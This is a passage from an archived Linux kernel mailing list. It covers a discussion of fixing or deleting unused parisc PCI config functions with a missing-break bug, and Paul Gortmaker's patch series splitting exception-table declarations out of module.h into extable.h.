-		case 4: *(u32 *)mem_addr =  (u32) pdc_result[0];
-	}
-	spin_unlock_irqrestore(&pdc_lock, flags);
-
-	return retval;
-}
-
-/**
- * pdc_pat_io_pci_cfg_write - Retrieve information about memory address ranges.
- * @pci_addr: PCI configuration space address for which the write  request is being made.
- * @pci_size: Size of write in bytes. Valid values are 1, 2, and 4. 
- * @value: Pointer to 1, 2, or 4 byte value in low order end of argument to be 
- *         written to PCI Config space.
- *
- */
-int pdc_pat_io_pci_cfg_write(unsigned long pci_addr, int pci_size, u32 val)
-{
-	int retval;
-	unsigned long flags;
-
-	spin_lock_irqsave(&pdc_lock, flags);
-	retval = mem_pdc_call(PDC_PAT_IO, PDC_PAT_IO_PCI_CONFIG_WRITE,
-				pci_addr, pci_size, val);
-	spin_unlock_irqrestore(&pdc_lock, flags);

From - Thu Nov 08 21:39:06 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel.janitors
Subject: Re: [patch] parisc: delete some unused functions from firmware.c
Date: Thu, 14 Jul 2016 23:16:10 +0200
Lines: 100
Approved: news@gmane.org
Message-ID: <5788011A.20902@gmx.de>
References: <20160714104700.GH18175@mwanda>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=windows-1252
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1468530993 28164 80.91.229.3 (14 Jul 2016 21:16:33 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 14 Jul 2016 21:16:33 +0000 (UTC)
Cc: "linux-parisc@vger.kernel.org" <linux-parisc@vger.kernel.org>,
	"kernel-janitors@vger.kernel.org" <kernel-janitors@vger.kernel.org>
To: Dan Carpenter <dan.carpenter@oracle.com>,
	"James E.J. Bottomley" <jejb@parisc-linux.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Thu Jul 14 23:16:23 2016
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1bNnza-0007xD-B4
	for glpp-linux-parisc@plane.gmane.org; Thu, 14 Jul 2016 23:16:22 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1750893AbcGNVQU (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Thu, 14 Jul 2016 17:16:20 -0400
Original-Received: from mout.gmx.net ([212.227.15.15]:58504 "EHLO mout.gmx.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1750699AbcGNVQT (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Thu, 14 Jul 2016 17:16:19 -0400
Original-Received: from [192.168.20.60] ([92.203.8.200]) by mail.gmx.com (mrgmx003)
 with ESMTPSA (Nemesis) id 0MRFwV-1bo2uy2nqZ-00Ueje; Thu, 14 Jul 2016 23:16:11
 +0200
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:38.0) Gecko/20100101
 Thunderbird/38.1.0
In-Reply-To: <20160714104700.GH18175@mwanda>
X-Provags-ID: V03:K0:2GheW9XFIoCUFTq2pNq9EFH9o7dlashmqQfPo3f462h7cUuJCrs
 JBzJJ4+nXbXEIDxdAhoykg1cUp0piLoF05RxduD1sHRwMcINWKoyavxxY4zDqvaxWzsRSKl
 VejKE8k+iTOeaLc1GfiCFfdj1Z6o3ZTuuS3fpTGbeBuCuY0CtqdDuUqZrT0xDg0hPGrmjL2
 fcjshjdbqGw0ljrwjPsSQ==
X-UI-Out-Filterresults: notjunk:1;V01:K0:6Wt8B+RlxBw=:quy4gMHNWhEKuKbE9hiASd
 dMxAyEYvn8xZn47v7PuaGTWzEGmB2PzDXf6L3ASASlax7dj4+9JsJU6LgzMN7qmX/7HOcaS3J
 P+6+b2eInSC36TOodjFQfKDvVvGfjeE7bPGjOPW7/QMxLSbEIzKmHF7W0EzQbC0MCOYxkXbk7
 8Gzkiwi7SBHKcgrqz0Ir/PZDD+5MGRpfw5daesWWRk4lvA16mzpJ85raAofhifR8yv5sk8xHT
 alenyQwIWnd5+bNYWEY7QHuJaJuG/YeA/mL5QQWhX7G+4A23zlMzj+zfQEwY09Fp6fsTw7EkM
 MCkAJoKcnGJXbPvztZw8IipzhBSteY8x2FvnwfWejNJhi89m7LxI7fxndgcCYVEVbdXiaeUTW
 ig7NmPpxhZX/HzSXkVQ/q1oJ/uNtKENAaVBcDyJdbFdJVmwG0uA+veyS6b8pqBNUWygzhvO5P
 09W6L5fZOabbRIT51lX1DDLNRqoDf4OUPpkWWgZlWMCs2GzqnGquum2W0lW4LxhOcvvsaOKNk
 +KNJmp7yWm9WvR2497obMsAhzWsRTpMAWPW/XDk4mjl0UuhHYtSeYNiYxLRq49WMB58vkZfFM
 yMpe250pjvMfT9IdEJvs649RjlHN2J51Wjkkiwp+nc/YQxq53R/DKBwm7SPiVloPvXdM5R9qt
 e+AeMLIYprPV8/QUUDcrwC8N6jTeUzt0P25KeUeyYD5Kp1DQ/V66Yql6kS2yNfzrn7Tdmxx6V
 uOPoVkcRy+8r37BI+jjZ4P+wYfMXfPfzV+lmQDnoZvMe41z3ABmUwZwmGK6anUzImmpGzz2c 
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:26930 gmane.linux.kernel.janitors:38270
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/26930>

Hi Dan,

thanks for noticing that!

On 14.07.2016 12:47, Dan Carpenter wrote:
> The pdc_pat_io_pci_cfg_read() is problematic because it's missing some
> break statements so it copies 4 bytes regardless of whether you asked
> for only 1 or 2.  But since neither this nor the write function are
> used, it means we can just delete the code.

I would actually prefer if the code is fixed (e.g. with breaks)
and kept in the tree. We don't know yet if we will need it (and if we do
one would at least see that this PDC function actually exists).

Do you think you can send a fix-up patch instead?

Thanks,
Helge
 
> Signed-off-by: Dan Carpenter <dan.carpenter@oracle.com>
> 
> diff --git a/arch/parisc/include/asm/pdcpat.h b/arch/parisc/include/asm/pdcpat.h
> index 47539f1..c89d8c0 100644
> --- a/arch/parisc/include/asm/pdcpat.h
> +++ b/arch/parisc/include/asm/pdcpat.h
> @@ -293,11 +293,6 @@ extern int pdc_pat_cpu_get_number(struct pdc_pat_cpu_num *cpu_info, void *hpa);
>  
>  extern int pdc_pat_pd_get_addr_map(unsigned long *actual_len, void *mem_addr, unsigned long count, unsigned long offset);
>  
> -
> -extern int pdc_pat_io_pci_cfg_read(unsigned long pci_addr, int pci_size, u32 *val); 
> -extern int pdc_pat_io_pci_cfg_write(unsigned long pci_addr, int pci_size, u32 val); 
> -
> -
>  /* Flag to indicate this is a PAT box...don't use this unless you
>  ** really have to...it might go away some day.
>  */
> diff --git a/arch/parisc/kernel/firmware.c b/arch/parisc/kernel/firmware.c
> index 2239590..12545a2 100644
> --- a/arch/parisc/kernel/firmware.c
> +++ b/arch/parisc/kernel/firmware.c
> @@ -1338,51 +1338,6 @@ int pdc_pat_pd_get_addr_map(unsigned long *actual_len, void *mem_addr,
>  	return retval;
>  }
>  
> -/**
> - * pdc_pat_io_pci_cfg_read - Read PCI configuration space.
> - * @pci_addr: PCI configuration space address for which the read request is being made.
> - * @pci_size: Size of read in bytes. Valid values are 1, 2, and 4. 
> - * @mem_addr: Pointer to return memory buffer.
> - *
> - */
> -int pdc_pat_io_pci_cfg_read(unsigned long pci_addr, int pci_size, u32 *mem_addr)
> -{
> -	int retval;
> -	unsigned long flags;
> -
> -	spin_lock_irqsave(&pdc_lock, flags);
> -	retval = mem_pdc_call(PDC_PAT_IO, PDC_PAT_IO_PCI_CONFIG_READ,
> -					__pa(pdc_result), pci_addr, pci_size);
> -	switch(pci_size) {
> -		case 1: *(u8 *) mem_addr =  (u8)  pdc_result[0];
> -		case 2: *(u16 *)mem_addr =  (u16) pdc_result[0];
> -		case 4: *(u32 *)mem_addr =  (u32) pdc_result[0];
> -	}
> -	spin_unlock_irqrestore(&pdc_lock, flags);
> -
> -	return retval;
> -}
> -
> -/**
> - * pdc_pat_io_pci_cfg_write - Retrieve information about memory address ranges.
> - * @pci_addr: PCI configuration space address for which the write  request is being made.
> - * @pci_size: Size of write in bytes. Valid values are 1, 2, and 4. 
> - * @value: Pointer to 1, 2, or 4 byte value in low order end of argument to be 
> - *         written to PCI Config space.
> - *
> - */
> -int pdc_pat_io_pci_cfg_write(unsigned long pci_addr, int pci_size, u32 val)
> -{
> -	int retval;
> -	unsigned long flags;
> -
> -	spin_lock_irqsave(&pdc_lock, flags);
> -	retval = mem_pdc_call(PDC_PAT_IO, PDC_PAT_IO_PCI_CONFIG_WRITE,
> -				pci_addr, pci_size, val);
> -	spin_unlock_irqrestore(&pdc_lock, flags);
> -
> -	return retval;
> -}
>  #endif /* CONFIG_64BIT */
>  
>  
> 

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:39:06 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Paul Gortmaker <paul.gortmaker@windriver.com>
Newsgroups: gmane.linux.kernel,gmane.linux.kernel.cross-arch,gmane.linux.ports.parisc
Subject: [PATCH 12/14] parisc: migrate exception table users off module.h and onto extable.h
Date: Sun, 24 Jul 2016 23:42:45 -0400
Lines: 30
Approved: news@gmane.org
Message-ID: <20160725034247.109173-13-paul.gortmaker@windriver.com>
References: <20160725034247.109173-1-paul.gortmaker@windriver.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
X-Trace: ger.gmane.org 1469418326 28826 80.91.229.3 (25 Jul 2016 03:45:26 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Mon, 25 Jul 2016 03:45:26 +0000 (UTC)
Cc: <linux-arch@vger.kernel.org>,
	Paul Gortmaker <paul.gortmaker@windriver.com>,
	"James E.J. Bottomley" <jejb@parisc-linux.org>,
	Helge Deller <deller@gmx.de>, <linux-parisc@vger.kernel.org>
To: <linux-kernel@vger.kernel.org>
Original-X-From: linux-kernel-owner@vger.kernel.org Mon Jul 25 05:45:17 2016
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-3@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1bRWpQ-0005EH-IA
	for glk-linux-kernel-3@plane.gmane.org; Mon, 25 Jul 2016 05:45:16 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753092AbcGYDpO (ORCPT <rfc822;glk-linux-kernel-3@m.gmane.org>);
	Sun, 24 Jul 2016 23:45:14 -0400
Original-Received: from mail5.windriver.com ([192.103.53.11]:60956 "EHLO mail5.wrs.com"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1752849AbcGYDoM (ORCPT <rfc822;linux-kernel@vger.kernel.org>);
	Sun, 24 Jul 2016 23:44:12 -0400
Original-Received: from ALA-HCA.corp.ad.wrs.com (ala-hca.corp.ad.wrs.com [147.11.189.40])
	by mail5.wrs.com (8.15.2/8.15.2) with ESMTPS id u6P3hmgi017264
	(version=TLSv1 cipher=AES128-SHA bits=128 verify=OK);
	Sun, 24 Jul 2016 20:43:48 -0700
Original-Received: from yow-lpgnfs-02.corp.ad.wrs.com (128.224.56.235) by
 ALA-HCA.corp.ad.wrs.com (147.11.189.40) with Microsoft SMTP Server id
 14.3.248.2; Sun, 24 Jul 2016 20:43:47 -0700
X-Mailer: git-send-email 2.8.4
In-Reply-To: <20160725034247.109173-1-paul.gortmaker@windriver.com>
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:2272357 gmane.linux.kernel.cross-arch:33225 gmane.linux.ports.parisc:26931
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2272357>

This file was only including module.h for exception table related
functions.  We've now separated that content out into its own file
"extable.h" so now move over to that and avoid all the extra header
content in module.h that we don't really need to compile this file.

Cc: "James E.J. Bottomley" <jejb@parisc-linux.org>
Cc: Helge Deller <deller@gmx.de>
Cc: linux-parisc@vger.kernel.org
Signed-off-by: Paul Gortmaker <paul.gortmaker@windriver.com>
---
 arch/parisc/mm/fault.c | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/arch/parisc/mm/fault.c b/arch/parisc/mm/fault.c
index 163af2c31d76..a67519b79504 100644
--- a/arch/parisc/mm/fault.c
+++ b/arch/parisc/mm/fault.c
@@ -14,7 +14,7 @@
 #include <linux/ptrace.h>
 #include <linux/sched.h>
 #include <linux/interrupt.h>
-#include <linux/module.h>
+#include <linux/extable.h>
 #include <linux/uaccess.h>
 
 #include <asm/traps.h>
-- 
2.8.4



From - Thu Nov 08 21:39:06 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Paul Gortmaker <paul.gortmaker@windriver.com>
Newsgroups: gmane.linux.ports.mips.general,gmane.linux.kernel,gmane.linux.kernel.cross-arch,gmane.linux.ports.alpha,gmane.linux.ports.arm.kernel,gmane.linux.ports.m68k,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.ports.sparc
Subject: [RFC/PATCH 00/14] split exception table content out of module.h into extable.h
Date: Sun, 24 Jul 2016 23:42:33 -0400
Lines: 138
Approved: news@gmane.org
Message-ID: <20160725034247.109173-1-paul.gortmaker@windriver.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
X-Trace: ger.gmane.org 1469418344 29003 80.91.229.3 (25 Jul 2016 03:45:44 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Mon, 25 Jul 2016 03:45:44 +0000 (UTC)
Cc: <linux-arch@vger.kernel.org>,
        Paul Gortmaker <paul.gortmaker@windriver.com>,
        Andrew Morton <akpm@linux-foundation.org>,
        Benjamin Herrenschmidt <benh@kernel.crashing.org>,
        Catalin Marinas <catalin.marinas@arm.com>,
        Chris Metcalf <cmetcalf@mellanox.com>,
        "David S. Miller" <davem@davemloft.net>,
        Geert Uytterhoeven <geert@linux-m68k.org>,
        Heiko Carstens <heiko.carstens@de.ibm.com>,
        Helge Deller <deller@gmx.de>, "H. Peter Anvin" <hpa@zytor.com>,
        Ingo Molnar <mingo@redhat.com>,
        Ivan Kokshaysky <ink@jurassic.park.msu.ru>,
        "James E.J. Bottomley" <jejb@parisc-linux.org>,
        Linus Torvalds <torvalds@linux-foundation.org>,
        Martin Schwidefsky <schwidefsky@de.ibm.com>,
        Matt Turner <mattst88@gmail.com>,
        Michael Ellerman <mpe@ellerman.id.au>,
        Paul Mackerras <paulus@sa
To: <linux-kernel@vger.kernel.org>
Original-X-From: linux-mips-bounce@linux-mips.org Mon Jul 25 05:45:29 2016
Return-path: <linux-mips-bounce@linux-mips.org>
Envelope-to: sgi-linux-mips@gmane.org
Original-Received: from eddie.linux-mips.org ([148.251.95.138] helo=cvs.linux-mips.org)
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-mips-bounce@linux-mips.org>)
	id 1bRWpc-0005J1-K0
	for sgi-linux-mips@gmane.org; Mon, 25 Jul 2016 05:45:28 +0200
Original-Received: from localhost.localdomain ([127.0.0.1]:56214 "EHLO
        eddie.linux-mips.org" rhost-flags-OK-OK-OK-FAIL)
        by eddie.linux-mips.org with ESMTP id S23992166AbcGYDpVmAqtE (ORCPT
        <rfc822;sgi-linux-mips@gmane.org>); Mon, 25 Jul 2016 05:45:21 +0200
Original-Received: with ECARTIS (v1.0.0; list linux-mips); Mon, 25 Jul 2016 05:45:08 +0200 (CEST)
Original-Received: from mail5.windriver.com ([192.103.53.11]:35108 "EHLO mail5.wrs.com"
        rhost-flags-OK-OK-OK-OK) by eddie.linux-mips.org with ESMTP
        id S23991964AbcGYDpAf7k1E (ORCPT <rfc822;linux-mips@linux-mips.org>);
        Mon, 25 Jul 2016 05:45:00 +0200
Original-Received: from ALA-HCA.corp.ad.wrs.com (ala-hca.corp.ad.wrs.com [147.11.189.40])
        by mail5.wrs.com (8.15.2/8.15.2) with ESMTPS id u6P3h4id017249
        (version=TLSv1 cipher=AES128-SHA bits=128 verify=OK);
        Sun, 24 Jul 2016 20:43:04 -0700
Original-Received: from yow-lpgnfs-02.corp.ad.wrs.com (128.224.56.235) by
 ALA-HCA.corp.ad.wrs.com (147.11.189.40) with Microsoft SMTP Server id
 14.3.248.2; Sun, 24 Jul 2016 20:43:03 -0700
X-Mailer: git-send-email 2.8.4
X-archive-position: 54361
X-ecartis-version: Ecartis v1.0.0
Original-Sender: linux-mips-bounce@linux-mips.org
Errors-to: linux-mips-bounce@linux-mips.org
X-original-sender: paul.gortmaker@windriver.com
Precedence: bulk
List-help: <mailto:ecartis@linux-mips.org?Subject=help>
List-unsubscribe: <mailto:ecartis@linux-mips.org?subject=unsubscribe%20linux-mips>
List-software: Ecartis version 1.0.0
List-Id: linux-mips <linux-mips.eddie.linux-mips.org>
X-List-ID: linux-mips <linux-mips.eddie.linux-mips.org>
List-subscribe: <mailto:ecartis@linux-mips.org?subject=subscribe%20linux-mips>
List-owner: <mailto:ralf@linux-mips.org>
List-post: <mailto:linux-mips@linux-mips.org>
List-archive: <http://www.linux-mips.org/archives/linux-mips/>
X-list: linux-mips
Xref: news.gmane.org gmane.linux.ports.mips.general:55522 gmane.linux.kernel:2272358 gmane.linux.kernel.cross-arch:33226 gmane.linux.ports.alpha:3851 gmane.linux.ports.arm.kernel:516023 gmane.linux.ports.m68k:8802 gmane.linux.ports.parisc:26932 gmane.linux.ports.ppc64.devel:130757 gmane.linux.ports.sparc:23371
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.mips.general/55522>

[RFC: Not looking for detailed review given the merge window is open.
 As long as nobody thinks the general idea is horrible, I'll expand into
 more fringe arch and resend in 2wks and get it added then to linux-next.]

While doing an audit looking for unnecessary instances of module.h
inclusion across arch/x86/ I found a significant number of includes
of module.h were for things like search_exception_table and friends.

For historical reasons (i.e. pre-git) the exception table stuff was
buried in the middle of the module.h file.  So we have core kernel
files that are completely non-modular (both arch specific and arch
independent) that are just including module.h for this.

The converse is also true, in that conventional drivers, be they for
filesystems or actual hardware peripherals or similar, do not
normally care about the exception tables.

Here we fork the exception table content out of module.h into a new
extable.h file.  The gain here is that module.h gets a bit smaller;
a win for all modular drivers that we build for allmodconfig.  Also
most core files that only need exception table stuff get to shed an
include of module.h that brings in lots of extra stuff and just
looks generally out of place.  They use the tiny extable.h instead.

We temporarily include extable.h into the module.h itself.  Then we
will work our way across the arch independent and arch specific
files needing just exception table content, and move them off
module.h and onto extable.h

Once that is done, we can remove the extable.h from module.h and in
doing it like this, we avoid introducing build failures into the git
history.

We have the option of taking this final one line commit and pushing
it out a complete release if we want to open up a bigger window for
converting some of the more fringe archtectures.

I've converted about a dozen architectures here w/o issue; that
largely reflects what I currently have toolchains for.  Build
testing seems necessary in all instances, since the odds are high
that the module.h presence was hiding implicit use of other headers,
as was the case for s390.

Paul.
-- 

Cc: Andrew Morton <akpm@linux-foundation.org>
Cc: Benjamin Herrenschmidt <benh@kernel.crashing.org>
Cc: Catalin Marinas <catalin.marinas@arm.com>
Cc: Chris Metcalf <cmetcalf@mellanox.com>
Cc: "David S. Miller" <davem@davemloft.net>
Cc: Geert Uytterhoeven <geert@linux-m68k.org>
Cc: Heiko Carstens <heiko.carstens@de.ibm.com>
Cc: Helge Deller <deller@gmx.de>
Cc: "H. Peter Anvin" <hpa@zytor.com>
Cc: Ingo Molnar <mingo@redhat.com>
Cc: Ivan Kokshaysky <ink@jurassic.park.msu.ru>
Cc: "James E.J. Bottomley" <jejb@parisc-linux.org>
Cc: Linus Torvalds <torvalds@linux-foundation.org>
Cc: Martin Schwidefsky <schwidefsky@de.ibm.com>
Cc: Matt Turner <mattst88@gmail.com>
Cc: Michael Ellerman <mpe@ellerman.id.au>
Cc: Paul Mackerras <paulus@samba.org>
Cc: Ralf Baechle <ralf@linux-mips.org>
Cc: Richard Henderson <rth@twiddle.net>
Cc: Russell King <linux@armlinux.org.uk>
Cc: Rusty Russell <rusty@rustcorp.com.au>
Cc: Thomas Gleixner <tglx@linutronix.de>
Cc: Will Deacon <will.deacon@arm.com>
Cc: linux-alpha@vger.kernel.org
Cc: linux-arm-kernel@lists.infradead.org
Cc: linux-m68k@lists.linux-m68k.org
Cc: linux-mips@linux-mips.org
Cc: linux-parisc@vger.kernel.org
Cc: linuxppc-dev@lists.ozlabs.org
Cc: linux-s390@vger.kernel.org
Cc: x86@kernel.org
Cc: sparclinux@vger.kernel.org

Paul Gortmaker (14):
  exceptions: fork exception table content from module.h into extable.h
  x86: migrate exception table users off module.h and onto extable.h
  arm: migrate exception table users off module.h and onto extable.h
  arm64: migrate exception table users off module.h and onto extable.h
  mips: migrate exception table users off module.h and onto extable.h
  sparc: migrate exception table users off module.h and onto extable.h
  powerpc: migrate exception table users off module.h and onto extable.h
  m68k: migrate exception table users off module.h and onto extable.h
  s390: migrate exception table users off module.h and onto extable.h
  tile: migrate exception table users off module.h and onto extable.h
  alpha: migrate exception table users off module.h and onto extable.h
  parisc: migrate exception table users off module.h and onto extable.h
  core: migrate exception table users off module.h and onto extable.h
  module.h: remove extable.h include now users have migrated

 arch/alpha/kernel/traps.c          |  2 +-
 arch/alpha/mm/fault.c              |  2 +-
 arch/arm/mm/extable.c              |  2 +-
 arch/arm/mm/fault.c                |  2 +-
 arch/arm64/kernel/probes/kprobes.c |  2 +-
 arch/arm64/mm/extable.c            |  2 +-
 arch/arm64/mm/fault.c              |  2 +-
 arch/m68k/kernel/signal.c          |  2 +-
 arch/mips/kernel/module.c          |  1 +
 arch/mips/kernel/traps.c           |  2 +-
 arch/mips/mm/extable.c             |  2 +-
 arch/parisc/mm/fault.c             |  2 +-
 arch/powerpc/kernel/kprobes.c      |  2 +-
 arch/powerpc/mm/fault.c            |  2 +-
 arch/s390/kernel/early.c           |  2 +-
 arch/s390/kernel/kprobes.c         |  2 ++
 arch/s390/kernel/traps.c           |  3 ++-
 arch/s390/mm/fault.c               |  2 +-
 arch/sparc/kernel/kprobes.c        |  2 +-
 arch/sparc/kernel/traps_64.c       |  2 +-
 arch/sparc/kernel/unaligned_64.c   |  2 +-
 arch/sparc/mm/fault_64.c           |  2 +-
 arch/sparc/mm/init_64.c            |  2 +-
 arch/tile/kernel/unaligned.c       |  2 +-
 arch/tile/mm/extable.c             |  2 +-
 arch/tile/mm/fault.c               |  2 +-
 arch/x86/kernel/kprobes/core.c     |  2 +-
 arch/x86/kernel/kprobes/opt.c      |  2 +-
 arch/x86/mm/extable.c              |  2 +-
 arch/x86/mm/fault.c                |  2 +-
 include/linux/extable.h            | 30 ++++++++++++++++++++++++++++++
 include/linux/module.h             | 26 +-------------------------
 init/main.c                        |  1 +
 kernel/extable.c                   |  1 +
 kernel/module.c                    |  1 +
 35 files changed, 66 insertions(+), 53 deletions(-)
 create mode 100644 include/linux/extable.h

-- 
2.8.4




From - Thu Nov 08 21:39:06 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Linus Torvalds <torvalds@linux-foundation.org>
Newsgroups: gmane.linux.ports.alpha,gmane.linux.kernel,gmane.linux.kernel.cross-arch,gmane.linux.ports.arm.kernel,gmane.linux.ports.m68k,gmane.linux.ports.mips.general,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.ports.sparc
Subject: Re: [RFC/PATCH 00/14] split exception table content out of module.h
 into extable.h
Date: Sun, 24 Jul 2016 21:18:19 -0700
Lines: 29
Approved: news@gmane.org
Message-ID: <CA+55aFyDw_jK609LcjpWvVMTzCWuH6nLUXiZDeYC2tpSaZqhXA@mail.gmail.com>
References: <20160725034247.109173-1-paul.gortmaker@windriver.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=UTF-8
X-Trace: ger.gmane.org 1469420315 22940 80.91.229.3 (25 Jul 2016 04:18:35 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Mon, 25 Jul 2016 04:18:35 +0000 (UTC)
Cc: Linux Kernel Mailing List <linux-kernel@vger.kernel.org>,
	"linux-arch@vger.kernel.org" <linux-arch@vger.kernel.org>,
	Andrew Morton <akpm@linux-foundation.org>,
	Benjamin Herrenschmidt <benh@kernel.crashing.org>,
	Catalin Marinas <catalin.marinas@arm.com>,
	Chris Metcalf <cmetcalf@mellanox.com>,
	"David S. Miller" <davem@davemloft.net>,
	Geert Uytterhoeven <geert@linux-m68k.org>,
	Heiko Carstens <heiko.carstens@de.ibm.com>,
	Helge Deller <deller@gmx.de>, "H. Peter Anvin" <hpa@zytor.com>,
	Ingo Molnar <mingo@redhat.com>,
	Ivan Kokshaysky <ink@jurassic.park.msu.ru>,
	"James E.J. Bottomley" <jejb@parisc-linux.org>,
	Martin Schwidefsky <schwidefsky@de.ibm.com>,
	Matt Turner <mattst88@gmail.com>,
	Michael Ellerman <mpe@ellerman.id.au>,
	Paul Mackerras <paulus@samba.org>,
	Ralf Baechle <ralf@linux-mips.org>,
	Richard Henderson <rth@twiddle.net>,
	Russell King <linux@armlinux.org.uk>,
	Rus
To: Paul Gortmaker <paul.gortmaker@windriver.com>
Original-X-From: linux-alpha-owner@vger.kernel.org Mon Jul 25 06:18:27 2016
Return-path: <linux-alpha-owner@vger.kernel.org>
Envelope-to: lnx-linux-alpha@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-alpha-owner@vger.kernel.org>)
	id 1bRXLW-0005E0-Da
	for lnx-linux-alpha@plane.gmane.org; Mon, 25 Jul 2016 06:18:26 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752704AbcGYESY (ORCPT <rfc822;lnx-linux-alpha@m.gmane.org>);
	Mon, 25 Jul 2016 00:18:24 -0400
Original-Received: from mail-oi0-f67.google.com ([209.85.218.67]:36290 "EHLO
	mail-oi0-f67.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1752650AbcGYESV (ORCPT
	<rfc822;linux-alpha@vger.kernel.org>);
	Mon, 25 Jul 2016 00:18:21 -0400
Original-Received: by mail-oi0-f67.google.com with SMTP id d204so15617449oig.3;
        Sun, 24 Jul 2016 21:18:21 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=20120113;
        h=mime-version:sender:in-reply-to:references:from:date:message-id
         :subject:to:cc;
        bh=dczwZbrf2jshmJiuH9K32QWSOHoOLVMefgvZ8W9Hquo=;
        b=qS+rwXfRNqTve+MfUbJjH8XsYaKbBSWIAvUMkZvAsh0wOcMdYzjglb7y48SSgLmJKi
         xRP84Xr8sEp6x/TmDkCswobbLerSF4Ux2kmzxjrkWMHIA+3/MX0VOk4RSulSTyecLlnN
         p1l4ks40uYwzkoAVsv8G2Mab1tUc8eNOwFRv1qjjEJncGDaY0O+47AX9sc3gmut0SaS7
         MQHrC3ZeGVUU2DYNDPnItS1dJxU4wKp8AvlQkVhtIsJ7lHCWciFj3kXNusL9GxhGalOR
         jv9pscTVYtvGHZyV8dw0OdlkcMXiycMu4GXed0UdZC9w8eBYUdLpgBihRnvhYanpp+DC
         dAMg==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20130820;
        h=x-gm-message-state:mime-version:sender:in-reply-to:references:from
         :date:message-id:subject:to:cc;
        bh=dczwZbrf2jshmJiuH9K32QWSOHoOLVMefgvZ8W9Hquo=;
        b=M/bZ5yR9e4JBZpjFZPelt7ESMUBxo+tG82BkUGDbefRAth7M8WiBpsLRydH/RBIZX8
         qYaUe2rOJyGX8wy8BYer4Ziw0BcH9pMcjjeqSpOBo4N8j1kJD5n+WUs5Ewjq3vMLvHWj
         KcrnLSxW3ASL8csrhw9zE2OKarCoCOBAA9gsDzWsLh/RqLb76U6H53i/yiaUIf7WCjvI
         tS4DapKBdI/QDYqGt3ipwaV/dsYFnoLzqOXdWDSZpDIfWSG8oi34a4VeYUTfgUFR4Qa8
         srurTuU2oFYvXJpC8dBhQ4zo9y5acRfqr7j747E99XuhlD+PCMCESlo+wD4MZSfH6kFw
         Yc8w==
X-Gm-Message-State: AEkoouuytFv2epxndMiLWbtpzCNuyPLjAIPtZ8H7O9jaDlQOI3eWEASs9tB1hauBLTZtYYMqW/+GbPUuJ414zg==
X-Received: by 10.202.86.15 with SMTP id k15mr7267612oib.178.1469420300354;
 Sun, 24 Jul 2016 21:18:20 -0700 (PDT)
Original-Received: by 10.182.204.35 with HTTP; Sun, 24 Jul 2016 21:18:19 -0700 (PDT)
In-Reply-To: <20160725034247.109173-1-paul.gortmaker@windriver.com>
